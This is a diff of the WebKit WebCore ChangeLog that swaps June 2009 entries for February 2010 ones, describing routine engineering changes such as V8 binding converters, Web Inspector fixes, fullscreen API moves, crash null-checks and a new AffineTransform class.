+        * rendering/RenderVideo.cpp:
+        (WebCore::RenderVideo::intrinsicSizeChanged): Call RenderMedia::intrinsicSizeChanged, not
+            RenderVideo::intrinsicSizeChanged.
+        (WebCore::RenderVideo::imageChanged): Call RenderMedia::imageChanged instead of 
+            RenderImage::imageChanged.
 
-        * GNUmakefile.am:
+2010-02-01  Nate Chapin  <japhet@chromium.org>
 
-2009-06-24  Brady Eidson  <beidson@apple.com>
+        Reviewed by Dimitri Glazkov.
 
-        Fix 64-bit SnowLeopard build.
+        [V8] Generate toV8() converter for most WebCore->V8 conversions,
+        and defined custom converters in their respective V8<class>Custom.cpp.
 
-        * html/DataGridColumnList.cpp:
-        (WebCore::DataGridColumnList::remove):
-        (WebCore::DataGridColumnList::move):
+        Old converters in V8DOMWrapper will be deleted in a later patch.
 
-2009-06-24  Rob Buis  <rwlbuis@gmail.com>
+        https://bugs.webkit.org/show_bug.cgi?id=32563
 
-        Reviewed by Eric Seidel.
+        * Android.v8bindings.mk:
+        * WebCore.gyp/WebCore.gyp:
+        * WebCore.gypi:
+        * bindings/scripts/CodeGeneratorV8.pm:
+        * bindings/v8/V8Collection.h:
+        * bindings/v8/V8DOMWrapper.cpp:
+        * bindings/v8/V8DOMWrapper.h:
+        * bindings/v8/V8Proxy.h:
+        * bindings/v8/custom/V8BarInfoCustom.cpp: Added.
+        * bindings/v8/custom/V8CSSRuleCustom.cpp: Added.
+        * bindings/v8/custom/V8CSSStyleSheetCustom.cpp: Added.
+        * bindings/v8/custom/V8CSSValueCustom.cpp: Added.
+        * bindings/v8/custom/V8CanvasPixelArrayCustom.cpp: Added.
+        * bindings/v8/custom/V8CanvasRenderingContext2DCustom.cpp:
+        * bindings/v8/custom/V8ConsoleCustom.cpp:
+        * bindings/v8/custom/V8DOMSelectionCustom.cpp: Added.
+        * bindings/v8/custom/V8DOMWindowCustom.cpp:
+        * bindings/v8/custom/V8DocumentCustom.cpp:
+        * bindings/v8/custom/V8ElementCustom.cpp:
+        * bindings/v8/custom/V8EventCustom.cpp:
+        * bindings/v8/custom/V8HTMLDocumentCustom.cpp:
+        * bindings/v8/custom/V8HTMLElementCustom.cpp: Added.
+        * bindings/v8/custom/V8HTMLSelectElementCustom.cpp:
+        * bindings/v8/custom/V8HistoryCustom.cpp:
+        * bindings/v8/custom/V8LocationCustom.cpp:
+        * bindings/v8/custom/V8NamedNodeMapCustom.cpp:
+        * bindings/v8/custom/V8NavigatorCustom.cpp:
+        * bindings/v8/custom/V8NodeCustom.cpp:
+        * bindings/v8/custom/V8SVGDocumentCustom.cpp: Added.
+        * bindings/v8/custom/V8SVGElementCustom.cpp: Added.
+        * bindings/v8/custom/V8SVGPathSegCustom.cpp: Added.
+        * bindings/v8/custom/V8ScreenCustom.cpp: Added.
+        * bindings/v8/custom/V8StyleSheetCustom.cpp: Added.
+        * bindings/v8/custom/V8TreeWalkerCustom.cpp:
+        * bindings/v8/custom/V8WebGLArrayCustom.cpp: Added.
+        * bindings/v8/custom/V8WebGLByteArrayCustom.cpp:
+        * bindings/v8/custom/V8WebGLFloatArrayCustom.cpp:
+        * bindings/v8/custom/V8WebGLIntArrayCustom.cpp:
+        * bindings/v8/custom/V8WebGLRenderingContextCustom.cpp:
+        * bindings/v8/custom/V8WebGLShortArrayCustom.cpp:
+        * bindings/v8/custom/V8WebGLUnsignedByteArrayCustom.cpp:
+        * bindings/v8/custom/V8WebGLUnsignedIntArrayCustom.cpp:
+        * bindings/v8/custom/V8WebGLUnsignedShortArrayCustom.cpp:
+        * dom/make_names.pl: Add options to generate wrapper factory for V8 bindings.
+
+2010-02-01  Alexander Pavlov  <apavlov@chromium.org>
 
-        https://bugs.webkit.org/show_bug.cgi?id=26392
-        Bug 26392: In html, modification of xlink:href of an newly inserted svg image does not work.
-        https://bugs.webkit.org/show_bug.cgi?id=26328
-        Bug 26328: changing href attribute of svg images does not work when changing display attribute as well
+        Reviewed by Pavel Feldman.
 
-        React to href updates even when there is no renderer, i.e. display=none.
+        Web Inspector: lazy-load textual resources to avoid UI hangup
+        https://bugs.webkit.org/show_bug.cgi?id=34332
 
-        Tests: svg/custom/js-update-image-and-display.svg
-               svg/custom/js-update-image-and-display2.svg
-               svg/custom/js-update-image-and-display3.svg
+        * inspector/front-end/ResourceView.js:
+        (WebInspector.ResourceView.prototype._innerSelectContentTab):
+        * inspector/front-end/SourceView.js:
+        (WebInspector.SourceView.prototype.show):
+        (WebInspector.SourceView.prototype.contentTabSelected):
 
-        * svg/SVGImageElement.cpp:
-        (WebCore::SVGImageElement::svgAttributeChanged):
+2010-02-01  Brady Eidson  <beidson@apple.com>
 
-2009-06-24  David Hyatt  <hyatt@apple.com>
+        Reviewed by Adele Peterson.
 
-        Reviewed by Sam Weinig.
+        Crash in Safari opening new tabs to "same page"
+        <rdar://problem/7593857> and https://bugs.webkit.org/show_bug.cgi?id=34444
 
-        https://bugs.webkit.org/show_bug.cgi?id=26687
+        Test: fast/loader/crash-copying-backforwardlist.html
 
-        Add basic back-end column support to datagrid.
+        * loader/FrameLoader.cpp:
+        (WebCore::FrameLoader::loadItem): Null check currentItem().
 
-        Added fast/dom/HTMLDataGridElement/ column tests.
+        * page/Page.cpp:
+        (WebCore::Page::goToItem): Ditto.
 
-        * DerivedSources.cpp:
-        * DerivedSources.make:
-        * WebCore.pro:
-        * WebCore.vcproj/WebCore.vcproj:
-        * WebCore.xcodeproj/project.pbxproj:
-        * WebCoreSources.bkl:
-        * html/DataGridColumn.cpp: Added.
-        (WebCore::DataGridColumn::setPrimary):
-        * html/DataGridColumn.h: Added.
-        (WebCore::DataGridColumn::create):
-        (WebCore::DataGridColumn::id):
-        (WebCore::DataGridColumn::setId):
-        (WebCore::DataGridColumn::label):
-        (WebCore::DataGridColumn::setLabel):
-        (WebCore::DataGridColumn::type):
-        (WebCore::DataGridColumn::setType):
-        (WebCore::DataGridColumn::sortable):
-        (WebCore::DataGridColumn::setSortable):
-        (WebCore::DataGridColumn::sortDirection):
-        (WebCore::DataGridColumn::setSortDirection):
-        (WebCore::DataGridColumn::primary):
-        (WebCore::DataGridColumn::detachFromColumnList):
-        (WebCore::DataGridColumn::DataGridColumn):
-        * html/DataGridColumn.idl: Added.
-        * html/DataGridColumnList.cpp: Added.
-        (WebCore::DataGridColumnList::~DataGridColumnList):
-        (WebCore::DataGridColumnList::itemWithName):
-        (WebCore::DataGridColumnList::add):
-        (WebCore::DataGridColumnList::remove):
-        (WebCore::DataGridColumnList::move):
-        (WebCore::DataGridColumnList::clear):
-        (WebCore::DataGridColumnList::primaryColumnChanged):
-        * html/DataGridColumnList.h: Added.
-        (WebCore::DataGridColumnList::create):
-        (WebCore::DataGridColumnList::length):
-        (WebCore::DataGridColumnList::item):
-        (WebCore::DataGridColumnList::primaryColumn):
-        (WebCore::DataGridColumnList::sortColumn):
-        * html/DataGridColumnList.idl: Added.
-        * html/HTMLDataGridColElement.cpp:
-        (WebCore::HTMLDataGridColElement::sortable):
-        (WebCore::HTMLDataGridColElement::setSortable):
-        (WebCore::HTMLDataGridColElement::sortDirection):
-        (WebCore::HTMLDataGridColElement::setSortDirection):
-        * html/HTMLDataGridColElement.h:
-        * html/HTMLDataGridColElement.idl:
-        * html/HTMLDataGridElement.cpp:
-        (WebCore::HTMLDataGridElement::HTMLDataGridElement):
-        * html/HTMLDataGridElement.h:
-        (WebCore::HTMLDataGridElement::columns):
-        * html/HTMLDataGridElement.idl:
-        * rendering/RenderDataGrid.cpp:
-        (WebCore::RenderDataGrid::paintObject):
-        (WebCore::RenderDataGrid::paintColumnHeaders):
-        (WebCore::RenderDataGrid::rebuildColumns):
-        * rendering/RenderDataGrid.h:
-        (WebCore::RenderDataGrid::gridElement):
-
-2009-06-24  Jessie Berlin  <jberlin@apple.com>
+2010-02-01  Kevin Watters  <kevinwatters@gmail.com>
 
-        Reviewed by Adam Roben.
+        Reviewed by Kevin Ollivier.
 
-        Partially fixes: https://bugs.webkit.org/show_bug.cgi?id=24735
-        (<rdar://problem/5015942>)
-        Where on windows it was not possible to set an element as the drag
-        image using setDragImage on the dataTransfer object.
-        
-        Does not "fix" the case of dragging a link where the default link image
-        is still used, even when the -webkit-user-drag is set to "element". This
-        is the same behavior as is found on OS X.
+        [wx] Remove unused file that doesn't seem to belong to the port.
         
-        Added a manual test because it is not possible to check that what is
-        contained in the image snapshot is indeed the requested element.
-
-        * dom/Clipboard.h:
-        (WebCore::Clipboard::dragImageElement):
-        Made getting the raw pointer from the RefPtr a const operation.
-        * manual-tests/drag-with-div-or-image-as-data-image.html: Added.
-        * platform/win/ClipboardWin.cpp:
-        (WebCore::ClipboardWin::createDragImage):
-        Get an image of the rendered element and its subtree.
-
-2009-06-24  Darin Fisher  <darin@chromium.org>
-
-        Reviewed by David Levin.
-
-        https://bugs.webkit.org/show_bug.cgi?id=26683
-        Fix Chromium build bustage: Add custom binding for HTMLDataGridElement.dataSource
-
-        This change just adds a stub implementation for now to help fix the build.
+        https://bugs.webkit.org/show_bug.cgi?id=34445
 
-        * bindings/v8/custom/V8CustomBinding.h:
-        * bindings/v8/custom/V8HTMLDataGridElementCustom.cpp: Added.
+        * platform/wx/KeyEventWin.cpp: Removed.
 
-2009-06-24  David Kilzer  <ddkilzer@apple.com>
+2010-02-01  Eric Carlson  <eric.carlson@apple.com>
 
-        Build fixes for ENABLE(PLUGIN_PROXY_FOR_VIDEO)
+        Reviewed by Adele Peterson.
 
-        Reviewed by Adam Roben.
+        Fullscreen API should be on HTMLVideoElement
+        https://bugs.webkit.org/show_bug.cgi?id=34438
+        
+        Move fullscreen DOM APIs from HTMLMediaElement to HTMLVideoElement.
 
         * html/HTMLMediaElement.cpp:
-        (WebCore::HTMLMediaElement::deliverNotification): Removed
-        ExceptionCode parameter from togglePlayState().
-        (WebCore::HTMLMediaElement::initialURL): Don't convert a KURL
-        object to a String when assigning to a KURL variable.
-
-2009-06-24  Nikolas Zimmermann  <nikolas.zimmermann@torchmobile.com>
-
-        Reviewed by Adam Treat.
-
-        Save memory by not storing attribute values in member variables, if not absolutely needed.
-        Also fixes bugs where we're substituting variables too early (noticeable with the upcoming <select> element).
-
-        * wml/WMLDoElement.cpp:
-        (WebCore::WMLDoElement::parseMappedAttribute):
-        (WebCore::WMLDoElement::label):
-        * wml/WMLDoElement.h:
-        * wml/WMLFieldSetElement.cpp:
-        (WebCore::WMLFieldSetElement::insertedIntoDocument):
-        * wml/WMLFieldSetElement.h:
-        * wml/WMLOptGroupElement.cpp:
-        (WebCore::WMLOptGroupElement::title):
-        (WebCore::WMLOptGroupElement::parseMappedAttribute):
-        (WebCore::WMLOptGroupElement::groupLabelText):
-        * wml/WMLOptGroupElement.h:
-        * wml/WMLPostfieldElement.cpp:
-        (WebCore::WMLPostfieldElement::name):
-        (WebCore::WMLPostfieldElement::value):
-        (WebCore::WMLPostfieldElement::encodeData):
-        * wml/WMLPostfieldElement.h:
-        * wml/WMLSetvarElement.cpp:
-        (WebCore::WMLSetvarElement::parseMappedAttribute):
-        (WebCore::WMLSetvarElement::name):
-        (WebCore::WMLSetvarElement::value):
-        * wml/WMLSetvarElement.h:
-        * wml/WMLTimerElement.cpp:
-        (WebCore::WMLTimerElement::parseMappedAttribute):
-        (WebCore::WMLTimerElement::insertedIntoDocument):
-        (WebCore::WMLTimerElement::timerFired):
-        (WebCore::WMLTimerElement::start):
-        (WebCore::WMLTimerElement::value):
-        * wml/WMLTimerElement.h:
-
-2009-06-24  Nikolas Zimmermann  <nikolas.zimmermann@torchmobile.com>
-
-        Reviewed by Adam Roben.
-
-        Forgot to initialize m_task member variable. Results in crashes sometimes.
-
-        * wml/WMLAnchorElement.cpp:
-        (WebCore::WMLAnchorElement::WMLAnchorElement):
-
-2009-06-24  Nikolas Zimmermann  <nikolas.zimmermann@torchmobile.com>
-
-        Not reviewed. Forgot to include within last patch.
-
-        * manual-tests/wml/card-title-attr.wml: Added.
-
-2009-06-24  Wajahat Siddiqui <wajahatmeister@gmail.com>
- 
-        Reviewed by Nikolas Zimmermann.
-
-        Fixes: https://bugs.webkit.org/show_bug.cgi?id=26474
-        Adding WML <card> title attribute handling.
-
-        * wml/WMLElement.h: marking parseValueSubstitutingVariableReferences and parseValueForbiddingVariableReferences as const
-        * wml/WMLElement.cpp:
-        * wml/WMLCardElement.h: 
-        (WebCore::WMLCardElement::title):
-        * wml/WMLCardElement.cpp:
-        * wml/manual-test/card-title-attr.wml: Manual test  
- 
-2009-06-24  Simon Hausmann  <simon.hausmann@nokia.com>
-
-        Reviewed by Tor Arne Vestbø.
-
-        Fix the build without ENABLE_VIDEO.
-
-        * html/CanvasRenderingContext2D.cpp: Add #if ENABLE guards.
-        * html/CanvasRenderingContext2D.h: Ditto.
-
-2009-06-24  Siddhartha Chattopadhyay  <sidchat@google.com>
-
-        Reviewed by Eric Seidel.
-
-        Fix for https://bugs.webkit.org/show_bug.cgi?id=26200 which I introduced earlier. I had
-        the smartReplace set TRUE initially, which was wrong since the purpose of this call is
-        to just replace the selection, and place the caret at the end of the selection it replaced.
-
-        * editing/Editor.cpp:
-        (WebCore::Editor::markMisspellingsAfterTypingToPosition):
-        * manual-tests/textarea-caret-position-after-auto-spell-correct.html: Added.
-
-2009-06-24  Kevin Watters  <kevinwatters@gmail.com>
-
-        Reviewed by Kevin Ollivier.
-
-        Don't use an unsigned int for intervalInMS because we sometimes initialize
-        it with a negative value.
-
-        * platform/wx/SharedTimerWx.cpp:
-        (WebCore::setSharedTimerFireTime):
-
-2009-06-24  Eric Seidel  <eric@webkit.org>
-
-        No review, build fix only.
-
-        The previous checkin had an improper merge.  This fixes the build.
-
-        * page/DragController.cpp:
-        (WebCore::DragController::tryDocumentDrag):
-
-2009-06-05  Eric Seidel  <eric@webkit.org>
-
-        Reviewed by Oliver Hunt.
-
-        https://bugs.webkit.org/show_bug.cgi?id=25922
-        JS setting dropEffect = "none" causes tryDHTMLDrag
-        to return DragOperationNone.  Which is also the value
-        tryDHTMLDrag previously used to indicate JS did not
-        want to handle the drag.
-
-        Make it possible for the DragController::try* methods
-        to return a bool to indicate if javascript accepted
-        or rejected the drag event, separate from the DragOperation.
-
-        Tests:
-        - fast/events/drag-to-navigate.html
-        - fast/events/prevent-drag-to-navigate.html
-
-        * page/DragController.cpp:
-        (WebCore::DragController::dragEnteredOrUpdated):
-        (WebCore::DragController::tryDocumentDrag):
-        (WebCore::defaultOperationForDrag):
-        (WebCore::DragController::tryDHTMLDrag):
-        * page/DragController.h:
-
-2009-06-23  Oliver Hunt  <oliver@apple.com> and Eric Carlson  <eric.carlson@apple.com>
-
-        Reviewed by Sam Weinig and Dave Hyatt.
-
-        <rdar://problem/6164797> Add Canvas API to allow drawing of <video> frames
-        <https://bugs.webkit.org/show_bug.cgi?id=25920>
-
-        Add support for drawing the contents of the video element to the canvas
-        in accordance with the current HTML5 draft.
-
-        Test: media/video-canvas.html
-
-        * bindings/js/JSCanvasRenderingContext2DCustom.cpp:
-        (WebCore::JSCanvasRenderingContext2D::drawImage):
-          Standard custom bindings stuff we need to do for all canvas methods.
-        * html/CanvasRenderingContext2D.cpp:
-        (WebCore::size): Helper function for finding the size of a video element
-        (WebCore::CanvasRenderingContext2D::checkOrigin): moved up in the file.
-        (WebCore::CanvasRenderingContext2D::drawImage): The various overloads of HTML5's drawImage(<video>)
-        * html/CanvasRenderingContext2D.h:
         * html/HTMLMediaElement.h:
-        (WebCore::HTMLMediaElement::hasSingleSecurityOrigin):
-          hasSingleSecurityOrigin is needed for security, currently all implementations are trivial
-          as we force QT to maintain a single origin.
+        * html/HTMLMediaElement.idl:
         * html/HTMLVideoElement.cpp:
-        (WebCore::HTMLVideoElement::paint): 
-            Paint routine on video so we don't have to look at MediaPlayer directly
+        (WebCore::HTMLVideoElement::paint): Removed outdated FIXME.
+        (WebCore::HTMLVideoElement::paintCurrentFrameInContext): Ditto.
+        (WebCore::HTMLVideoElement::webkitEnterFullScreen): Moved from HTMLMediaElement.
+        (WebCore::HTMLVideoElement::webkitExitFullScreen): Ditto.
+        (WebCore::HTMLVideoElement::webkitSupportsFullscreen): Ditto.
+        (WebCore::HTMLVideoElement::webkitDisplayingFullscreen): Ditto.
         * html/HTMLVideoElement.h:
-        * platform/graphics/MediaPlayer.cpp:
-        (WebCore::NullMediaPlayerPrivate::hasSingleSecurityOrigin):
-        (WebCore::MediaPlayer::hasSingleSecurityOrigin):
-            Default implementations of hasSingleSecurityOrigin
-        * platform/graphics/MediaPlayer.h:
-        * platform/graphics/MediaPlayerPrivate.h:
-        * platform/graphics/mac/MediaPlayerPrivateQTKit.h:
-        * platform/graphics/mac/MediaPlayerPrivateQTKit.mm:
-        (WebCore::MediaPlayerPrivate::setUpVideoRendering):
-            A video may need a player now even if it is not visible.
-        (WebCore::MediaPlayerPrivate::hasSingleSecurityOrigin):
-            Always return true due to restrictions we've placed on QT.
-        * platform/graphics/win/MediaPlayerPrivateQuickTimeWin.cpp:
-        (WebCore::MediaPlayerPrivate::paint):
-            Jump through some hoops to allow windows QT to draw to an intermediate buffer.
-            In the long term we'd like to cache the HDC, but this will do for now.
-        (WebCore::MediaPlayerPrivate::hasSingleSecurityOrigin):
-        * platform/graphics/win/MediaPlayerPrivateQuickTimeWin.h:
-            As for Mac we force QT to only allow same origin loads.
-
-2009-06-23  Adam Langley  <agl@google.com>
-
-        Reviewed by Eric Seidel.
-
-        Chromium: Fix crash with inherited font-size in <option>
-
-        https://bugs.webkit.org/show_bug.cgi?id=26656
-        http://code.google.com/p/chromium/issues/detail?id=14853
-
-        In r42597 (https://bugs.webkit.org/show_bug.cgi?id=25244), I changed
-        the <select> handing for Chromium to fix a rendering bug. However,
-        although the font-size is correctly ignored, getRowHeight wasn't
-        updated and so was calculating the height of the rows in an
-        inconsistent manner. This can lead to a crash.
-
-        * manual-tests/optgroup-empty-and-nested.html: adding test case for crash
-        * platform/chromium/PopupMenuChromium.cpp:
-        (WebCore::PopupListBox::getRowHeight):
+        * html/HTMLVideoElement.idl:
 
-2009-06-23  Brady Eidson  <beidson@apple.com>
+2010-02-01  Pavel Feldman  <pfeldman@chromium.org>
 
-        Patch by Antti Koivisto.
-        Reviewed by Brady Eidson.
+        Reviewed by Timothy Hatcher.
 
-        <rdar://problem/6988010> Failed resources not reloaded when built against Tiger SDK
+        Web Inspector: Syntax highlighting in source view of
+        Resources pane stops half-way.
 
-        A latent bug that cache revalidation uncovered.  When a CachedResource failed to load,
-        it should always be revalidated upon reload.
+        There were two problems here: (1) styles for html highlighter were not
+        added into the css file (they used to be injected manually in the
+        SourceFrame before). (2) 'Tag' needed to be lexer's state, not parser's.
+        Otherwise unbalanced quotes in the text nodes were matching too match
+        into the string tokens.
 
-        * loader/CachedResource.cpp:
-        (WebCore::CachedResource::canUseCacheValidator):
-        (WebCore::CachedResource::mustRevalidate):
+        https://bugs.webkit.org/show_bug.cgi?id=34359
 
-2009-06-23  Dan Bernstein  <mitz@apple.com>
+        * inspector/front-end/NativeTextViewer.js:
+        (WebInspector.NativeTextViewer.prototype._createLineDivs):
+        (WebInspector.NativeTextViewer.prototype._lineHeight):
+        (WebInspector.NativeTextViewer.prototype.initFontMetrics):
+        * inspector/front-end/SourceFrame.js:
+        (WebInspector.SourceFrame.prototype._createEditorIfNeeded):
+        * inspector/front-end/SourceHTMLTokenizer.js:
+        (WebInspector.SourceHTMLTokenizer):
+        (WebInspector.SourceHTMLTokenizer.prototype.nextToken):
+        * inspector/front-end/SourceHTMLTokenizer.re2js:
+        * inspector/front-end/TextEditor.js:
+        (WebInspector.TextEditor.prototype.initFontMetrics):
+        (WebInspector.TextEditor.prototype._registerShortcuts):
+        * inspector/front-end/inspectorSyntaxHighlight.css:
+
+2010-02-01  Ben Murdoch  <benm@google.com>
 
         Reviewed by Darin Adler.
 
-        - fix <rdar://problem/6634228> Crash in [NSScroller mouseDown:] beneath
-          EventHandler::passMouseDownEventToWidget()
+        ScriptCallFrame's do not get line numbers/source id's if the caller is unkown.
+        https://bugs.webkit.org/show_bug.cgi?id=34335
 
-        * page/mac/EventHandlerMac.mm:
-        (WebCore::EventHandler::passMouseDownEventToWidget): Surround the
-        -mouseDown: call with calls to Widget::beforeMouseDown() and
-        Widget::afterMouseDown(), which prevent the widget's view hierarchy from
-        being removed from its parent view while the scroller is tracking the
-        mouse.
+        * bindings/js/ScriptCallStack.cpp:
+        (WebCore::ScriptCallStack::ScriptCallStack): If the caller is unknown, the line number and source information is still availble so pass it to the ScriptCallFrame being constructed.
 
-2009-06-23  Sam Weinig  <sam@webkit.org>
+2010-02-01  Dirk Schulze  <krit@webkit.org>
 
-        Reviewed by Dave Hyatt.
+        Reviewed by Simon Fraser.
 
-        Fix for https://bugs.webkit.org/show_bug.cgi?id=26516
-        Add initial implementation of DataGridDataSource
+        Add back an AffineTransform class for use by SVG
+        https://bugs.webkit.org/show_bug.cgi?id=33750
 
-        - Initial implementation only supports the initialize callback function.
+        These are the first steps on reimplementing AffineTransform. Unlike
+        the old affine code, this one is platform independent like TransformationMatrix.
+        AffineTransform has the benefit, that it stores just 6 doubles instead of
+        16 in TransformationMatrix. The calculations of transformations are not that
+        complex and can improve the memory usage and speed of SVG.
+        AffineTransform can be used by HTML Canvas3D or SVG, since they are 2D related (at
+        least for the moment).
+        HTML Canvas is the first that makes use of the new AffineTransform. Next patches
+        will introduce the affine code to SVG.
 
-        Test: fast/dom/HTMLDataGridElement/DataGridDataSource-basic.html
+        No new tests. The new AffineTransformation code is tested by fast/canvas.
 
-        * WebCore.xcodeproj/project.pbxproj:
+        * Android.mk:
         * GNUmakefile.am:
+        * WebCore.gypi:
         * WebCore.pro:
         * WebCore.vcproj/WebCore.vcproj:
         * WebCore.xcodeproj/project.pbxproj:
-        * WebCoreSources.bkl:
-        * bindings/js/JSDataGridDataSource.cpp: Added.
-        (WebCore::JSDataGridDataSource::JSDataGridDataSource):
-        (WebCore::JSDataGridDataSource::~JSDataGridDataSource):
-        (WebCore::JSDataGridDataSource::initialize):
-        * bindings/js/JSDataGridDataSource.h: Added.
-        (WebCore::JSDataGridDataSource::create):
-        (WebCore::JSDataGridDataSource::isJSDataGridDataSource):
-        (WebCore::JSDataGridDataSource::jsDataSource):
-        (WebCore::asJSDataGridDataSource):
-        * bindings/js/JSHTMLDataGridElementCustom.cpp: Added.
-        (WebCore::JSHTMLDataGridElement::listener):
-        (WebCore::JSHTMLDataGridElement::setListener):
-        * html/DataGridDataSource.h: Added.
-        (WebCore::DataGridDataSource::~DataGridDataSource):
-        (WebCore::DataGridDataSource::isJSDataGridDataSource):
-        * html/HTMLDataGridElement.cpp:
-        (WebCore::HTMLDataGridElement::HTMLDataGridElement):
-        (WebCore::HTMLDataGridElement::setDataSource):
-        (WebCore::HTMLDataGridElement::initializationTimerFired):
-        * html/HTMLDataGridElement.h:
-        (WebCore::HTMLDataGridElement::dataSource):
-        * html/HTMLDataGridElement.idl:
-
-2009-06-23  Ryosuke Niwa  <rniwa@google.com>
-
-        Reviewed by Justin Garcia.
-
-        Undo the changeset 21212 to fix the regression bug 14062.
-        The changeset 21212 attempted to fix rdar://problem/5002441.
-        The changeset 21212 modified InsertTextCommand::input so as to convert
-        all spaces in text to non-breaking spaces for rdar://problem/5002441.
-        However, the bug was originally caused by rebalanceWhitespaceAt
-        and this workaround introduced a regression bug 14062.
-        Because rebalanceWhitespaceAt appears to behave correctly now,
-        the workaround introduced in 21212 is no longer needed.
-
-        Test: editing/inserting/space-after-removeformat.html
-
-        * editing/InsertTextCommand.cpp:
-        (WebCore::InsertTextCommand::input):
-
-2009-06-23  Beth Dakin  <bdakin@apple.com>
-
-        Reviewed by Dave Hyatt.
-
-        Fix for https://bugs.webkit.org/show_bug.cgi?id=26523 <col> 
-        elements width can't be changed with javascript
-
-        This patch both fixes setting the width attribute directly in 
-        JavaScript, and setting the width on the style attribute. 
-
-        * html/HTMLTableColElement.cpp:
-        (WebCore::HTMLTableColElement::parseMappedAttribute): If we have a 
-        new width, call setNeedsLayoutAndPrefWidthsRecalc()
-
-        Call calcPrefWidths() on the table cols.
-        * rendering/AutoTableLayout.cpp:
-        (WebCore::AutoTableLayout::recalcColumn):
-        * rendering/FixedTableLayout.cpp:
-        (WebCore::FixedTableLayout::calcWidthArray):
-        
-        Call layoutIfNeeded on the table cols.
-        * rendering/RenderTable.cpp:
-        (WebCore::RenderTable::layout):
-
-        * rendering/RenderTableCol.cpp:
-        (WebCore::RenderTableCol::clippedOverflowRectForRepaint): Use new 
-        table() convenience function.
-        (WebCore::RenderTableCol::calcPrefWidths): Just call 
-        setPrefWidthsDirty(false) on ourself and our children.
-        (WebCore::RenderTableCol::table):
-        * rendering/RenderTableCol.h:
-
-2009-06-23  Ojan Vafai  <ojan@chromium.org>
-
-        Reviewed by Dan Bernstein.
-
-        Add logic to CSSStyleDeclaration::diff to deal with font-sizes that are 
-        keyword values. When diff is called on a CSSStyleDeclaration, we check
-        the keywordSize to see if font-size matches a keyword value.
-        
-        This ensures that when we diff a CSSMutableStyleDeclaration returned from
-        copyInheritableProperties on a CSSComputedStyleDeclaration that we 
-        correctly identify matching font-sizes.
-        
-        https://bugs.webkit.org/show_bug.cgi?id=26279
-
-        Test: editing/inserting/font-size-clears-from-typing-style.html
-
-        * css/CSSComputedStyleDeclaration.cpp:
-        (WebCore::CSSComputedStyleDeclaration::cssPropertyMatches):
-        * css/CSSComputedStyleDeclaration.h:
-        * css/CSSStyleDeclaration.cpp:
-        (WebCore::CSSStyleDeclaration::cssPropertyMatches):
-        (WebCore::CSSStyleDeclaration::diff):
-        * css/CSSStyleDeclaration.h:
-
-2009-06-23  Kevin McCullough  <kmccullough@apple.com>
-
-        Reviewed by Darin Adler.
-
-        <rdar://problem/6994790> CrashTracer: [USER] 8 crashes in Mail trying to
-        add a blank line to pasted Facebook content (under
-        CompositeEditCommand::positionAvoidingSpecialElementBoundary)
-
-        - Just added null checks and I will create a new bug to prevent the
-        bad behavior.
-
-        * editing/CompositeEditCommand.cpp:
-        (WebCore::CompositeEditCommand::positionAvoidingSpecialElementBoundary):
-
-2009-06-23  Simon Fraser  <simon.fraser@apple.com>
-
-        Build fix.
-
-        Wrap shouldDoSoftwarePaint() in #if USE(ACCELERATED_COMPOSITING) to avoid warning when 
-        ACCELERATED_COMPOSITING is not defined.
-
-        * rendering/RenderLayer.cpp:
-
-2009-06-23  Simon Fraser  <simon.fraser@apple.com>
-
-        Reviewed by Dave Hyatt.
-        
-        https://bugs.webkit.org/show_bug.cgi?id=24863
-        
-        Fix reflection painting on elements with compositing layers.
-
-        Test: compositing/reflections/reflection-on-composited.html
-
-        * rendering/RenderLayer.h:
-        Add a new PaintLayerPaintingReflection flag which is set while painting inside
-        reflections.
-        (WebCore::RenderLayer::setPaintingInsideReflection):
-        Add a setter so that RenderLayerBacking can call it.
-
-        * rendering/RenderLayer.cpp:
-        (WebCore::shouldDoSoftwarePaint):
-        Utility to clarify the logic of when a composited layer should do a software paint.
-        
-        (WebCore::RenderLayer::paintLayer):
-        Use shouldDoSoftwarePaint() to determine when to software-paint a reflected layer.
-        Remove transform-related tests from the reflection-painting if test because they appear
-        to be unnecessary.
-
-        * rendering/RenderLayerBacking.cpp:
-        (WebCore::RenderLayerBacking::paintIntoLayer):
-        Add the code to paint reflections to the composited layer painting method.
-        
-        * rendering/RenderReplica.cpp:
-        (WebCore::RenderReplica::paint):
-        Set the PaintLayerPaintingReflection flag.
-
-2009-06-23  Antti Koivisto  <antti@apple.com>
-
-        Reviewed by Darin Adler.
-        
-        https://bugs.webkit.org/show_bug.cgi?id=26643
-        Memory cache should respect Cache-Control: no-store
-        
-        Make resources with Cache-Control: no-store uncacheable in the memory cache.
-        They get evicted immediately when all clients are gone and are always
-        reloaded from the server.
-
-        Conforms to RFC2616 14.9.2 and seems also match Firefox behavior.
-
-        * loader/CachedResource.cpp:
-        (WebCore::CachedResource::removeClient):
-        (WebCore::CachedResource::canUseCacheValidator):
-        (WebCore::CachedResource::mustRevalidate):
-        * platform/network/ResourceResponseBase.cpp:
-        (WebCore::ResourceResponseBase::ResourceResponseBase):
-        (WebCore::ResourceResponseBase::parseCacheControlDirectives):
-        (WebCore::ResourceResponseBase::cacheControlContainsNoStore):
-        * platform/network/ResourceResponseBase.h:
-
-2009-06-23  Brady Eidson  <beidson@apple.com>
-
-        Windows build fix.
-
-        * platform/graphics/win/QTMovieWin.cpp:
-        (QTMovieWin::play):
-        (QTMovieWin::pause):
-        (QTMovieWin::setRate):
-        (QTMovieWin::setCurrentTime):
-
-2009-06-23  Kevin McCullough  <kmccullough@apple.com>
-
-        Reviewed by Adele Peterson.
-
-        <rdar://problem/6902203> REGRESSION: 'Return' insertion point incorrect
-        after manually quoting blank line then hitting return
+        * html/canvas/CanvasRenderingContext2D.cpp:
+        (WebCore::CanvasRenderingContext2D::scale):
+        (WebCore::CanvasRenderingContext2D::rotate):
+        (WebCore::CanvasRenderingContext2D::translate):
+        (WebCore::CanvasRenderingContext2D::transform):
+        (WebCore::CanvasRenderingContext2D::setTransform):
+        (WebCore::CanvasRenderingContext2D::isPointInPath):
+        (WebCore::CanvasRenderingContext2D::willDraw):
+        * html/canvas/CanvasRenderingContext2D.h:
+        * platform/graphics/GraphicsContext.h:
+        * platform/graphics/Path.h:
+        * platform/graphics/cairo/GraphicsContextCairo.cpp:
+        (WebCore::GraphicsContext::getAffineCTM):
+        (WebCore::GraphicsContext::concatCTM):
+        * platform/graphics/cairo/GraphicsContextPlatformPrivateCairo.h:
+        (WebCore::GraphicsContextPlatformPrivate::concatCTM):
+        * platform/graphics/cairo/PathCairo.cpp:
+        (WebCore::Path::transform):
+        * platform/graphics/cairo/TransformationMatrixCairo.cpp:
